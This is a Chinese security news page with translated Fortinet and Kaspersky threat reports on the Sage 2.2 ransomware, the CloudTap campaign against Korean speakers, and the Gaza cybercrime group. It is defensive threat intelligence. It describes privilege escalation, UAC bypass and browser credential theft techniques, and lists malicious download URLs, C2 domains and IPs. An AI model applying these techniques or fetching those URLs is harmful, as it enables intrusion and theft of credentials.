在内核shellcode的prologue中,该exploit尝试禁用存储在CR4寄存器中的管理模式执行保护(SMEP)位,如果成功禁用的话,就会允许内核模式代码执行用户模式代码,从而将控制权传递给用户模式下0x587AD2处的代码,并开始执行。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单6:从IDT中查找NT内核镜像的地址

有趣的是,与之前我们观察到的内核exploit相比,该版本的exploit采用了不同的技术来检索ntoskrnl.exe镜像基地址。当我们显示地址0x80b93400处IDT内容时,我们注意到有一个常量值0x82888e00,它是KIDTENTRY.Access和KIDTENTRY.ExtendedOffset的值,具体如清单5所示。事实证明,这个常量值与ntoskrnl.exe的镜像有关。在减去特定倍数的0x1000偏移量后,最终会得到ntoskrnl.exe镜像库的基址,如清单4中的shellcode所示。据我们推测,之所以采用这种技术,可能是编程人员想逃避某些安全软件的行为检测,因为这些检测能够发现传统的加载ntoskrnl.exe镜像库的方式,这在开源内核利用圈子里是众所周知的。

最后,该exploit利用自己的进程令牌取代了System进程的令牌,从而获得SYSTEM权限。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

绕过UAC

这个恶意软件用来绕过UAC的技术本身也是老套路,但是,这是我们第一次发现Sage使用该技术。 它使用eventvwr.exe和注册表劫持来防止UAC弹出窗口。图5给出了这个技术的原理示意图。我们还在之前一篇文章中详细解释过这种技术。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图8 绕过UAC


含有更多语种的备忘录

早期的Sage勒索软件变种中包括一个名为!HELP_SOS.hta的勒索软件备忘录,其中含有如何恢复加密文件的说明。该备忘录提供了多种语言翻译,包括:

英语、德语、意大利语、法语、西班牙语、葡萄牙语、荷兰语、朝鲜语、汉语、波斯语、阿拉伯语。

当前这个变种的一个显著变化是增加了六种语言的翻译,从此可以看出,作者今后可能要向更多的国家撒网,这些语种包括:

挪威语、马来语、土耳其语、越南语、印度尼西亚语、印地语 。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图9 带有其他语言翻译的恶意软件备忘录


文件恢复

此外,当前为用户恢复加密文件的费用也有所变化。勒赎信中包含一个连接到洋葱网站的链接,用户必须使用TOR浏览器访问,该浏览器是专为匿名浏览和下载而设计的浏览器,只有这样,受害者才能买到“SAGE解密软件”。该页面显示的内容是一些常规信息 ,例如进一步的指示和初始赎金金额,该金额已经从早期的$99和$1000提高到了$2000。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图10 赎金金额

由于某些原因,付款网站上显示的Sage版本仍为2.0。

与早期版本一样,作者允许受影响的用户上传小于15KB的加密文件来测试解密功能。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图11 测试解密功能


几分钟后,用户就可以下载解密的文件了。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图12 解密文件可供下载


小结

与早期版本的Sans勒索软件相比,这个变种增加了一些特性,例如通过提权方式在受害者的系统上站稳脚跟等。为了避免被自动分析系统检测到,这个新变种还积极利用多种手段来检测虚拟环境。

但是,即使该变种增强了功能,Fortinet的FortiSandbox仍然能够破解这些花招,并将这个新变种评为“高风险”,并且无需进行任何额外的重新配置。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图13 FortiSandbox可以检测Sage并给予高风险等级

解决方案:

FortiMail会阻止所有垃圾邮件。

FortiGuard防病毒服务会将Sage样本识别为为W32/SageCrypt.KAD!tr。

FortiGuard Webfilter服务将阻止所有下载,并将相应的网址标记为恶意网站。

FortiSandbox会将Sage样本评估为高风险软件。

-= FortiGuard Lion Team =-


IOC

884263ac1707e15e10bcc796dfd621ffeb098d37f3b77059953fc0ebd714c3df – W32/SageCrypt.KAD!tr

00f1e3b698488519bb6e5f723854ee89eb9f98bdfa4a7fe5137804f79829838e - W32/Sage.KAD!tr

0eb72241462c8bfda3ece4e6ebbde88778a33d8c69ce1e22153a3ed8cf47cc17 - W32/Sage.KAD!tr

2b0b7c732177a0dd8f4e9c153b1975bbc29eef673c8d1b4665312b8f1b3fb114 - W32/Sage.KAD!tr

43921c3406d7b1a546334e324bdf46c279fdac928de810a86263ce7aa9eb1b83 - W32/Sage.KAD!tr

47a67a6fb50097491fd5ebad5e81b19bda303ececc6a83281eddbd6bd508b783 - W32/Sage.KAD!tr

5b7d2b261f29ddef9fda21061362729a9417b8ef2874cc9a2a3495181fc466d0 - W32/Sage.KAD!tr

a14ee6e8d2baa577a181cd0bb0e5c2c833a4de972f2679ca3a9e410d5de97d7e - W32/Sage.KAD!tr

b381d871fcb6c16317a068be01a7cb147960419995e8068db4e9b11ea2087457 - W32/Sage.KAD!tr

bbc0e8981bfca4891d99eab5195cc1f158471b90b21d1a3f1abc0ee05bf60e93 - W32/Sage.KAD!tr

cb6b6941ec104ab125a7d42cfe560cd9946ca4d5b1d1a8d5beb6b6ceb083bb29 - W32/Sage.KAD!tr

df64fcde1c38aa2a0696fc11eb6ca7489aa861d64bbe4e59e44d83ff92734005 - W32/Sage.KAD!tr

eff34c229bc82823a8d31af8fc0b3baac4ebe626d15511dcd0832e455bed1765 - W32/Sage.KAD!tr

f5f875061c9aa07a7d55c37f28b34d84e49d5d97bd66de48f74869cb984bcb61 - W32/Sage.KAD!tr

f93c77fd1c3ee16a28ef390d71f2c0af95f5bfc8ec4fe98b1d1352aeb77323e7 - W32/Kryptik.FXNL!tr

903b0e894ec0583ada12e647ac3bcb3433d37dc440e7613e141c03f545fd0ddd - W32/Kryptik.DMBP!tr

c4e208618d13f11d4a9ed6efb805943debe3bee0581eeebe22254a2b3a259b29 - W32/GenKryptik.AZLB!tr

e0a9b6d54ab277e6d4b411d776b130624eac7f7a40affb67c544cc1414e22b19 - W32/Kryptik.FXNL!tr



【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家
【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.fortinet.com/2017/10/29/evasive-sage-2-2-ransomware-variant-targets-more-countries

【技术分享】目标韩国!黑客组织利用云服务攻击

$
0
0
【技术分享】目标韩国!黑客组织利用云服务攻击

2017-11-02 16:46:46

阅读:578次
点赞(0)
收藏
来源: fortinet.com





【技术分享】目标韩国!黑客组织利用云服务攻击

作者:興趣使然的小胃





【技术分享】目标韩国!黑客组织利用云服务攻击

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

九月月初时,FortiGuard实验室研究人员发布了一篇文章,介绍了某个恶意软件组织对PowerPoint漏洞的利用过程。网络犯罪分子们在漏洞利用方面都半斤八两,因此,最近我们又发现了另一个目标明确的恶意软件组织,这个组织使用了另一个文档漏洞。在这次事件中,攻击者以HWP(Hangul Word Processor)文档为载体,利用已知的CVE-2015-2545 EPS(Encapsulated PostScript)漏洞发起攻击。

在韩国,特别是在韩国政府机构中,HWP非常流行,是微软Office的替代产品。因此,攻击者经常使用HWP文档作为载体来传播钓鱼文档,攻击以韩语为母语的目标人士。本文所分析的这个攻击组织使用了与韩国某些政治问题有关的文档来开展攻击。对于公共机构而言,这种恶意软件攻击手段并不罕见。

抛开这个组织的动机,最吸引我们注意的是该组织使用了pCloud这个免费云服务作为数据存储及通信平台。虽然其他恶意软件组织也用过这类技术,但目前该技术还没有被广泛使用。此外,根据我们收集到的样本,我们还发现该组织所使用的恶意软件(我们称之为CloudTap)已经活跃了一年以上。


二、使用JPEG图像隐藏载荷

我们收集到这个组织所使用的两份文档,这两份文档的内容都是关于韩国核电和劳工政策问题的文章摘录。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图1. 有关抗议韩国核政策的恶意文档

在文档中,攻击者嵌入了一个封装的PostScript文件,普通用户如果没有经过培训,很难发现这个细节。与HWP文档中的其他对象一样,我们需要使用zlib解压这个脚本,才能看到真正的shellcode代码,这个shellcode的作用是从“http://price365[dot]co[dot]kr/abbi/head0.jpg”地址下载可执行文件。

该文件执行后,就会下载包含JPEG图像头数据的另一个文件。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图2. 解压后的shellcode中包含URL下载地址

与我们预期的一样,这个图像中嵌入了一个可执行文件,可执行文件使用简单的单字节异或(xor)密钥进行加密。为了优化服务性能,某些反恶意软件系统会把待扫描及待沙箱运行文件限制在可执行文件范围,因此,这个攻击组织试图使用这种混淆技术来躲避这类反恶意软件系统。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图3. 图像中的可执行载荷经部分解密后的结果

根据该恶意软件使用的云服务技术,FortiGuard将其标记为CloudTap。

此外,我们还捕捉到这个恶意软件的早期样本,其中某个样本为debug版本,编译时间为2016年初,这表明恶意软件已经活跃了一年有余。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图4. 早期样本的编译时间


三、确定攻击目标

恶意软件操作者带有明确的攻击目标,通常会先整体调查一下系统,查找感兴趣的信息,然后再决定下一阶段的操作,比如,是进一步入侵网络还是简单识别系统中有价值的资源。在这个攻击场景中,攻击者利用载荷来搜索文档,尝试提取浏览器中存储的凭据信息。

除了对某些关键字符串进行混淆之外,攻击载荷会直达主题执行攻击动作,没有使用其他反分析技术。


四、枚举进程及包含特定扩展名的文档

恶意软件会枚举系统中正在运行的进程,其目的可能是检查受害者使用的某些应用程序,或者是检测系统使用哪种反病毒产品。

随后,恶意软件开始查找包含特定扩展名的文档,这些扩展名包括“.hwp”、“.doc”、“.docx”、“.pdf”、“.ppt”以及“.pptx”。恶意软件会搜索系统中除根驱动器之外的所有固定存储介质以及可移动存储介质上的所有目录。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图5. 搜索特定文档的代码片段

搜索根驱动器时,恶意软件只会搜索文件经常保存的那些目录,即:我的文档、文档、桌面、最近文档等目录。这次搜索过程不再受文件扩展名限制。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图6. 恶意软件搜索根驱动器特定目录中的所有文件

目前仅凭文档路径信息,我们很难知道恶意软件作者感兴趣的是什么信息。有可能攻击者想寻找可能包含凭据信息的文档,或者只是想利用这些文档来继续执行钓鱼攻击。


五、使用各种方法提取凭据信息

恶意软件使用多种技术来提取windows以及特定浏览器中存储的凭据信息。

为了提取IE浏览器中保存的登录凭据,恶意软件使用CredEnumerateW API来枚举凭据信息,过滤枚举结果,只关心开头为“Microsoft_WinInet_”的那些条目。然后,恶意软件使用CryptUnprotectData以及“abe2869f-9b47-4cd9-a358-c22904dba7f7”这个GUID来解密凭据信息。

恶意软件还会通过注册表来提取凭据信息,IE浏览器会使用“Software\Microsoft\Internet Explorer\IntelliForms\Storage2”这个注册表项来存储自动填充的凭据。

SecurityXploded网站详细介绍了这两种技术,读者可以参考此处链接了解具体内容。

继续处理下一个浏览器之前,恶意软件会尝试从Windows Vault中提取凭据,这也是微软内置的另一个凭据存储位置。恶意软件使用Vault Client Access库(vaultcli.dll)完成这个过程。

最后,恶意软件会提取Chrome浏览器存储的凭据,具体路径为“\Users\\Appdata\Local\Google\Chrome\User Data\Default”。


六、使用免费的pCloud云服务作为C&C服务器

前面提到过,攻击者使用了由瑞士IT企业pCloud AG开发的pCloud云存储服务来开展攻击。pCloud自2013年起开始提供服务,使用起来非常方便,无需验证邮件地址即可注册,注册后就能享受10GB的免费存储空间。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图7. pCloud账户主界面

恶意软件获取目标数据后,会使用AES算法加密这些数据,将加密结果保存到文件中,然后使用“.dat”文件名上传到云端。此外,攻击者不仅利用云服务来存储被盗数据,也会利用云服务来引导恶意软件从某些URL地址中下载文件,后面我们会给出分析过程。

把云服务作为C&C服务器有几大优点。首先,C2服务器搭建起来更加便捷,并且互联网上有许多免费云存储服务,提供的功能足以应付这种场景。因此,攻击者不再需要设置自己的Web服务器或者攻破他人的服务器,并且云服务可以确保始终在线、始终可用。此外,这种情况下安全取证更加困难,因为只有极少数信息可用。与攻破第三方站点做对比的话,这种情况下没有真实的主机或者管理员可作为安全取证对象,因此难以跟踪恶意软件的行为轨迹。最后,这类服务所属的账户受隐私策略保护,如果我们想获取特定用户的信息就会非常困难。

这个攻击组织使用了某些邮箱地址来注册pCloud账户,某些邮箱为一次性邮箱。自首次发现以来,我们收集到如下邮箱地址,这些地址可能会随着时间增长不断修改:

szfmcyjl15wfe@pokemail.net

dribacukes@throwawaymail.com

silverbrown6767@yandex.com

laowinjintorres@yandex.com

wirecapital9090@yandex.com

longspairman@yandex.com

laowinjintorres@yandex.com

kduandql@yomail.info

applestorm8188@yandex.com


七、数据传输及后续渗透

攻击者可以使用pCloud API从受害主机端上传数据,也可以下载其他工具或恶意软件到已感染的系统中。

显然,为了使用与文件操作有关的API,用户首先需要登录云端,再获取会话密钥。因此,恶意软件使用了userinfo API以及相应的邮箱及账户密码来获取会话密钥,以便调用后续API。需要注意的是,恶意软件使用HTTPS协议来发起请求,然而我们强迫恶意软件使用HTTP协议,以显示请求的具体信息,如下图所示。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图8. 恶意软件登录pCloud时的通信数据

随后,利用先前获得的会话密钥,恶意软件使用uploadfile API将带有加密数据的文件上传到云存储服务中。这些数据包含如下信息:

MAC地址

正在运行的进程

文件列表

凭据信息

上传成功后,恶意软件会从系统中删除这个文件。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图9. 恶意软件将窃取的数据加密后上传到pCloud

窃取的数据上传完毕后,恶意软件开始寻找带有.lst文件名的文件,然后再下载这个文件。撰写本文时,我们无法再次下载云端的样本文件,然而我们还是可以得出一些结论。

例如,恶意软件会根据受害主机的MAC地址来下载文件名为该MAC地址的.lst文件,这表明该MAC地址是能够下载该文件的唯一地址。因此,我们可以猜想.lst文件的内容会根据特定的受害者量身定制(下文我们可知该文件包含一些URL下载地址)。这也意味着攻击者会根据先前收集到的数据来选择具体的受害者。无论如何,即便MAC地址经过伪造,它们也可以作为标识符绑定到特定目标,以便攻击者发起第二波攻击。这也证实了前面的数据收集阶段只是攻击者的侦察阶段,是否进入下一阶段取决于受害者的具体环境。下载函数的主要功能如下所示:


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图10. 下载执行函数概要

成功下载.lst文件后,恶意软件会将其从pCloud中删除,使得恶意软件分析人员及研究人员无法获取第二波攻击的具体意图。如果文件下载失败,恶意软件会继续尝试,尝试过程最多持续5个小时,如果最终尝试失败,恶意软件会执行自删除操作。目前,我们只能根据现有信息推测该组织在受害者系统中会使用哪些工具或者哪些恶意软件。

URL列表也经过AES加密,为了让恶意软件能够正确解析这个文件,该文件中的每一行对应一个URL地址。最后,恶意软件会下载列表中的每个文件并加以执行。


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击

图11. 下载并执行列表中的每个文件


八、解决方法

1、安装Hancom发布的补丁,补丁中修复了CVE-2015-2545漏洞。

2、FortiGuard反病毒服务可以检测这类攻击,已将恶意HWP文件标记为MSOFFICE/CVE20152545.HWP!exploit,将攻击载荷标记为W32/Cloudtap.A!tr.pws,并将恶意JPEG文件标记为DATA/CloudTap.JPG!tr.dldr。

3、FortiGuard Web过滤服务可以阻止所有C&C服务器以及相关的URL。

4、FortiSandbox已将这类HWP文件标记为高风险文件。


九、总结

通过本文分析,我们发现有针对性的攻击行为越来越难以检测。攻击者更加谨慎,避免留下攻击痕迹。本文探讨了免费云存储服务在攻击行动中的优点,根据这些优点,我们相信会有越来越多的恶意软件组织采用这种免费又便捷的服务。


十、攻击特征

样本哈希值:

936ff56db5512899427188afc4eabf537e715a756f772de07b79420f42531227 – W32/Cloudtap.A!tr.pws

33ba0917bc161205d1afc8e7a6b6e29f92f08edeb385d75dcf81ececf07d3441 – W32/Cloudtap.A!tr.pws

ab9d37e0ea007708dd685632255fbf66c240d7747ba0882ceb96cbffb047fc42 – W32/Cloudtap.A!tr.pws

f4d38e2f43962ec50461b27a62b87fac2420d718066fbe59efb0e678ec36a70b – W32/Cloudtap.A!tr.pws

03cb9e34996df6bb4a38ed08ed6ab77a399906ea19d5e2c969eeb762b6e050cb – W32/Cloudtap.A!tr.pws

fb413df2516d0af9bbb4d5ae98ae6f7e0985a36013ddd3b088f3c087f48e8f2b – W32/Cloudtap.A!tr.pws

43f23a0c6af8f891f0623353cad0e9607c967b77d3549ad19b959f78f383cde3 – W32/Cloudtap.A!tr.pws

24f4f345b077881566bb58f54674f2e79a28937f76e9555982a9c7b6365831db – DATA/CloudTap.JPG!tr.dldr

a0359a6054ff3b245ca661ef5c51dd605410b946e1f0eff6f6898b2368b0ef7e - MSOFFICE/CVE20152545.HWP!exploit

7e90786ba4eef2b552c745a6b65110908a5ef5c89f68b337d66d75ace020b91b - MSOFFICE/CVE20152545.HWP!exploit

下载地址

http[:]//fritsch.co.kr/bbs/head3.jpg http[:]//price365.co.kr/abbi/head0.jpg http[:]//price365.co.kr/abbi/tail0.jpg http[:]//www.kohtao-idc.com/wp-includes/hashtag.jpg


【技术分享】目标韩国!黑客组织利用云服务攻击
【技术分享】目标韩国!黑客组织利用云服务攻击
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/09/20/evasive-malware-campaign-abuses-free-cloud-service-targets-korean-speakers

【技术分享】对Gaza网络犯罪组织2017年新动向的分析

$
0
0
【技术分享】对Gaza网络犯罪组织2017年新动向的分析

2017-11-02 15:39:47

阅读:1002次
点赞(0)
收藏
来源: securelist.com





【技术分享】对Gaza网络犯罪组织2017年新动向的分析

作者:興趣使然的小胃





【技术分享】对Gaza网络犯罪组织2017年新动向的分析

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、概要分析

Gaza(加沙)是使用阿拉伯语、带有政治动机的一个网络犯罪组织,自2012年起开始活跃在公众视野中,其攻击目标主要为MENA(中东及北非)区域。Gaza组织的攻击频率从未降低,经常会攻击政府机构/大使馆、石油及天然气机构、媒体/出版界、公众活动分子、政治家以及外交官。

在2017年年中,安全人员发现Gaza活跃在MENA区域的油气机构中,渗透系统并窃取数据,攻击持续时间跨度明显已超过1年。

另一方面,Gaza使用了最近披露的CVE-2017-0199漏洞,并且将下载脚本嵌入Microsoft Access文件中,以减少攻击行为被检测到的风险。研究人员已于2017年4月底开始跟踪到有关移动恶意软件的踪影,目前相关调查仍在进行中。

该组织最近的目标貌似不具备共同特征,攻击者在目标选择方面似乎没有针对性,他们在广泛寻找MENA区域的各类情报。

关于Gaza组织使用新的工具以及技术,包括:

利用CVE 2017-0199漏洞。

在Microsoft Access文件中嵌入宏,以降低检测率。

可能涉及到Android移动恶意软件。

先前我们已公布过一份研究文章,请参考此处了解相关信息。

卡巴斯基实验室相关产品及服务可以正确检测并阻止Gaza组织的攻击行为,已检测到的类别包括:

HEUR:Exploit.MSOffice.Generic

HEUR:Trojan.Win32.Cometer.gen

HEUR:Trojan.Win32.Generic

Trojan-Downloader.Win32.Downeks

Trojan-Spy.MSIL.Downeks

Win32.Bublik

Win32.Agentb

卡巴斯基情报报告服务的客户可以解有关Gaza的详细信息,请联系intelreports@kaspersky.com咨询相关情况。


二、技术细节

早些时候,Gaza犯罪组织凭借简单、通用的工具取得了惊人的成果,达到了他们的既定目标。他们依靠各种远程访问木马(Remote Access Trojan,RAT)实施攻击行为,这类工具包括Downeks、Qasar、Cobaltstrike等。

然而,最近一段时间(2017年6月)以来,攻击者开始利用CVE 2017-0199漏洞,在未安装修复补丁的受害者系统上通过Microsoft Office文档直接执行恶意代码(本文案例中所使用的是Cobaltstrike载荷)。另一方面,我们发现在2017年4月时,攻击者在其中一个命令服务器上部署了一个Android木马。

大多数情况下,攻击者通过包含压缩附件或者下载链接的邮件来传播恶意软件。从2017年3月起,我们发现攻击者开始把下载器或者包含宏的Microsoft Office文档发送给受害者。当受害者打开这类文件时,下载器会连接某个URL或者IP地址,获取实际使用的载荷。一旦成功执行,攻击者可以借助恶意软件获取完全访问权限,可以在受害者设备上收集文件、记录键盘动作、捕捉屏幕等。如果下载器初始下载的恶意软件被受害者检测出来,它会尝试下载其他恶意软件,希望其中某个文件能正常工作。

附录一中包含完整的攻击指示器(IOC)列表,附录二中包含了攻击者所使用的典型钓鱼样本、恶意软件及相关释放程序、命令服务器信息。


三、近期攻击活动

最近发现的与Gaza组织攻击有关的相关特征如下图所示:


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

关于这些文件附录一中有更详细的描述。


四、新发现

Gaza组织成员一直在不同层面上拓展自身技能,他们会使用新的方法和技术来投放恶意软件,也会根据区域性政治及人道主义事件来调整社会工程学策略。

在2017年年中,研究人员发现Gaza活跃在MENA区域的油气机构中,渗透系统并窃取数据,攻击持续时间跨度明显已超过1年。相关的恶意文件之前已经披露过,请访问此处了解更多信息。

在使用Android移动恶意软件的同时,攻击者仍然会继续使用Downeks下载器以及Quasar或者Cobaltstrike RAT来攻击windows设备,借助这些工具达到远程访问及数据窃取目标。随着CVE 2017-0199漏洞的利用,攻击者可以在未安装补丁的Windows系统上从Microsoft Office文档中直接运行代码,这也大大提供了攻击的有效性。此外,攻击者也会利用Microsoft Access数据库文件将攻击行为检出率保持在较低水平,因为这种投放恶意软件的方式并不常见。

综合利用改进的技术,攻击者可以持续针对各种受害者个人及组织实施攻击行为,有时候甚至可以绕过防御屏障,实现长期驻留。

4.1.1 钓鱼样本

样本MD5:66f144be4d4ef9c83bea528a4cd3baf3。

文件名: .exe

原始文件名:Qatar-27-5-2017.rar。

解压后的MD5:66f144be4d4ef9c83bea528a4cd3baf3。

文件名: .exe。

SHA256值:7fcac2f18a8844e4af9f923891cfb6f637a99195a457b6cdb916926d709c6a04。

C2服务器:moreoffer[.]life。

首次出现时间:2017年5月。


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

4.2 使用包含宏的Microsoft Access文件

使用包含宏的Microsoft Access文件是攻击组织最新拓展的技术。事实证明,在MS Access数据库中嵌入宏的检出率非常低。

MD5值:6d6f34f7cfcb64e44d67638a2f33d619。

文件名:GAZA2017.mdb。

托管地址:http://download.data-server.cloudns[.]club/GAZA2017.mdb。

攻击者会下载并执行如下文件:

data-server.cloudns[.]club/wordindexer.exe data-server.cloudns[.]club/indexer.exe
【技术分享】对Gaza网络犯罪组织2017年新动向的分析

解密后的代码如下所示:


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

4.3 利用CVE 2017-0199漏洞

MD5值:87a67371770fda4c2650564cbb00934d。

首次出现时间:2017年6月20日。

文件名:

doc

.doc

.doc

.doc

这些攻击案例是CVE-2017-0199漏洞的典型利用手法,攻击过程通常会从发送带有恶意RTF文档的电子邮件开始。程序代码在处理Ole2Link嵌入式对象时存在漏洞,利用这个漏洞,Microsoft Office Word可以运行远程文件(本文样本所使用的远程地址为138.68.242[.]68)。下载的载荷为Cobaltstrike,这个载荷随后会连接到lol.mynetav[.]org来接收攻击者发出的命令。有关Gaza组织如何使用CVE 2017-0199以及Cobaltstrike工具的更多细节,请参考360公布的这篇文章。

4.4 可能使用过的Android移动恶意软件

从2017年4月23日起,我们在某个攻击者的命令控制服务器上看到过APK文件的踪迹。

URL地址:http://alasra-paper.duckdns[.]org/send/%D9%88%ket-Edition-1.04_ApkHouse[.]com/Dont-Starve-Pocket-Edition-1.04_ApkHouse[.]com.apk
【技术分享】对Gaza网络犯罪组织2017年新动向的分析
攻击者把文件名(Dont-Starve-Pocket-Edition-1.04_ApkHouse[.]com.apk)伪装成一款流行的Android游戏应用。我们认为这款Android木马可能与之前Gaza所使用的Android木马有关,请参考之前的调查报告。

五、总结

Gaza网络犯罪组织向我们展示了他们所使用的大量攻击及高级社会工程学技巧,相关的攻击技巧、基础设施也在不断改进,同时他们也会使用各种新的方法及技术。攻击者会不断改进所使用的工具集,以尽量减少被安全产品及服务检测到的风险。卡巴斯基实验室认为近期内这类攻击在数量上和质量上都会有所提升。

为了保护您的公司免受此类恶意软件的影响,卡巴斯基实验室研究人员建议您采取以下措施:

1、培训员工,让员工能够正确区分钓鱼邮件、钓鱼链接与正常的邮件及链接。

2、将成熟的企业级安全解决方案与带有网络异常分析功能及攻击行为捕获功能的反针对性攻击解决方案结合使用。

3、向安全人员提供最新的威胁情报数据,为他们提供实用工具(如IOC特征以及YARA规则),以防御及检测针对性攻击行为。

4、确保企业级补丁管理流程已妥善建立并严格执行。

卡巴斯基情报报告服务会向客户提供有关Gaza组织的更多信息,请联系intelreports@kaspersky.com咨询相关服务。


六、附录一:恶意软件及钓鱼样本

我们会在这里列出从2017年3月起发现的相关恶意软件,包括攻击者使用过的钓鱼样本、样本首次发现时间、上级压缩文件等。

6.1 b7390bc8c8a9a71a69ce4cc0c928153b

压缩文件:970e6188561d6c5811a8f99075888d5f 5-4-2017.zip

C2地址:moreoffer[.]life

首次发现时间:2017年4月5日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.2 f43188accfb6923d62fe265d6d9c0940

文件名:Gcc-Ksa-uae.exe

C2地址:moreoffer[.]life (185.11.146[.]68)

首次发现时间:2017年3月21日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.3 056d83c1c1b5f905d18b3c5d58ff5342

文件名: .exe

上级文件:fb549e0c2fffd390ee7c4538ff30ac3e

C2地址:moreoffer[.]life

首次发现时间:2017年3月16日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.4 0ee4757ab9040a95e035a667457e4bc6

文件名:27-4-2017 Fateh Gaza plo.exe

C2地址:signup.updatesforme[.]club

首次发现时间:2017年4月27日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.5 7bef124131ffc2ef3db349b980e52847

文件名: - .exe

C2地址:ping.topsite[.]life

首次发现时间:2017年3月14日

6.6 70d03e34cadb0f1e1bc6f4bf8486e4e8

download-file.duckdns[.]org/send/Egyptian_agreement_with_President_Mahmoud_Abbas.exe 托管地址1:download-file.duckdns[.]org 托管地址2:ping.topsite[.]life

首次发现时间:2017年3月30日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.7 67f48fd24bae3e63b29edccc524f4096

托管地址1:http://alasra-paper.duckdns[.]org/send/__ __ _.rar 托管地址2:ping.topsite[.]life

RAR释放后MD5值:5d74487ea96301a933209de3d145105d

文件名:__ __ _.exe

首次发现时间:2017年4月17日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.8 7b536c348a21c309605fa2cd2860a41d

托管地址1:http://alasra-paper.duckdns[.]org/send/____ .rar

释放后的MD5值:d973135041fd26afea926e51ce141198

文件名: .exe(使用了RTLO特殊字符技术)

托管地址2:ping.topsite[.]life

首次发现时间:2017年4月17日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

6.9 cf9d89061917e9f48481db80e674f0e9

文件名: .exe

MD5值:c11516cd8c797f0182d63cdf343d08ed

托管地址1:http://hamas-wathaq.duckdns[.]org/send/________.rar 托管地址2:ping.topsite[.]life

首次发现日期:2017年4月16日


【技术分享】对Gaza网络犯罪组织2017年新动向的分析

七、附录二:IOC特征

7.1 恶意域名

moreoffer[.]life signup.updatesforme[.]club ping.topsite[.]life alasra-paper.duckdns[.]org hamas-wathaq.duckdns[.]org download.data-server.cloudns[.]club upgrade.newshelpyou[.]com manual.newphoneapp[.]com hnoor.newphoneapp[.]com lol.mynetav[.]org

7.2 IP地址

138.68.242[.]68 185.86.149[.]168 185.11.146[.]68 45.32.84[.]66 45.32.71[.]95 107.161.27[.]158 46.246.87[.]74

7.3 哈希值

1、MD5哈希值

87a67371770fda4c2650564cbb00934d

4f3b1a2088e473c7d2373849deb4536f

c078743eac33df15af2d9a4f24159500

3ff60c100b67697163291690e0c2c2b7

a3de096598e3c9c8f3ab194edc4caa76

7d3426d8eb70e4486e803afb3eeac14f

3f67231f30fa742138e713085e1279a6

552796e71f7ff304f91b39f5da46499b

6fba58b9f9496cc52e78379de9f7f24e

eb521caebcf03df561443194c37911a5

b68fcf8feb35a00362758fc0f92f7c2e

d87c872869023911494305ef4acbd966

66f144be4d4ef9c83bea528a4cd3baf3

B7390bc8c8a9a71a69ce4cc0c928153b

F43188accfb6923d62fe265d6d9c0940

056d83c1c1b5f905d18b3c5d58ff5342

0ee4757ab9040a95e035a667457e4bc6

7bef124131ffc2ef3db349b980e52847

70d03e34cadb0f1e1bc6f4bf8486e4e8

67f48fd24bae3e63b29edccc524f4096

7b536c348a21c309605fa2cd2860a41d

cf9d89061917e9f48481db80e674f0e9

6d6f34f7cfcb64e44d67638a2f33d619

86a89693a273d6962825cf1846c3b6ce

5472d0554a0188c0ecebd065eddb9485

2、SHA256哈希值

0b6fe466a3ba36895208e754b155a193780c79ba8b5c1c9f02c4f7e479116e5f

0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a

0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa

1f2b128d26a58a572ea1faee2c4d9dc759eb8add16d9ad0547b3f0305fea212a

205f32cc717c2d82baeff9ff5aa9fc31967b6ae5cde22fafe14aec9c9ec62acc

284af7a2fafdbff3bbc28b9075f469d2352758b62d182b0e056d29ee74688126

344dc6ece5a6dacce9050a65305d4b34865756051a6f414477b6fa381e1c1b63

42e4298f5162aba825309673187e27121e3f918238e81f3a6e021c03f3455154

44a8d0561a9cc6e24d6935ff4c35b7b7db50c4001eb01c48ea1cfd13253bc694

